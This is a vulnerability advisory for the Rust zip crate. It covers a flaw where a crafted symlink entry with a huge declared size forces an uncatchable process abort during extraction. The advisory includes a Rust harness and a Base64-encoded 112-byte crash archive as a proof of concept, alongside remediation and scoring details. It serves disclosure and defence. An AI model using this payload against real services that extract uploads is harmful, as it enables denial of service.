Skip to content

GHSA-q7v9-x93c-xqv3 CVE-2026-115909

zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction

High crates.io
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.46%
Chance of exploitation in the next 30 days. Higher than 39.97% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-789 Memory Allocation with Excessive Size Value
Fix
9.0.0
Upgrade zip to this version or later

Description

Summary

The symbolic-link branch of ZipArchive::extract_internal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.

Details

#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

src/read/mod.rs#L399-L405 (reviewed commit 6f09b306); the same code is at src/read.rs#L417-L418 in released v8.6.0.

Both inputs are attacker-controlled:

  • ZipFile::size() returns uncompressed_size verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full u64 (src/read/mod.rs#L619-L625). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.
  • ZipFile::is_symlink() is decided entirely by the central directory's external-attributes field, via the S_IFLNK bit.

Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressed_size before a single byte of the entry is read. Vec::with_capacity() is infallible: on allocator refusal it calls handle_alloc_error(), which aborts the process. This is not a Rust panic — it is not caught by catch_unwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.

The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a catchable capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.

This is process termination, not memory exhaustion: Vec::with_capacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.

PoC

The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.

[package]
name = "zip-poc"
version = "0.1.0"
edition = "2021"

[dependencies]
zip = "8.6.0"
use std::{env, fs::File, io::BufReader};

fn main() {
    let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>");
    let outdir = std::env::temp_dir().join("zip-poc");
    std::fs::create_dir_all(&outdir).unwrap();

    let file = File::open(archive_path).unwrap();
    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();
    let r = archive.extract(&outdir);            // <-- process dies here
    println!("SURVIVED: {:?}", r);
}

Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.

Uncatchable abort — 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (S_IFLNK|0777); ZIP64 extra field declaring uncompressed_size = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.

UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==

Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:

entries=1
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)          # exit 134

The SURVIVED line never prints. Wrapping extract() in catch_unwind inside a spawned thread with panic = "unwind" produces the identical outcome.

Impact

Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catch_unwind, a worker thread, or a pre-flight metadata check.

Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.

Suggested remediation

Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::with_capacity() with fallible try_reserve() and return an I/O error when allocation fails. Do not use Linux's PATH_MAX as a cross-platform contract.

Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.

For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious number_of_files to zero and explicitly rejects an oversized central directory before reserving (src/read/zip_archive.rs#L185-L202). The symlink branch received neither guard. A survey of Vec::with_capacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.

Affected versions

crates.io

PackageVulnerableFixed in
zip
>= 1.3.0, < 9.0.0
9.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

zip crates.io → 9.0.0

cargo
cargo update -p zip --precise 9.0.0

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-789: Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

How to prevent it
  • Implementation, Architecture and Design: Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
  • Operation: Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hjqx-j4rw-g7xv
zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
High Also affects zip
GHSA-m665-v7pm-7grj
zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE
Critical Also affects zip
GHSA-9hj8-73fh-9963
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
High Also affects zip
GHSA-8hxf-qr8p-62x4
zip: AES Entry HMAC Authentication Bypass on Premature EOF
Medium Also affects zip
RUSTSEC-2026-0369
ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the target
Critical Also affects zip
RUSTSEC-2026-0368
zip: `ZipArchive::extract` creates symbolic links whose attacker-controlled targets are outside the destination directory
Not rated yet Also affects zip
RUSTSEC-2026-0367
Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation
High Also affects zip
GHSA-94vh-gphv-8pm8
zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write
High Also affects zip
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor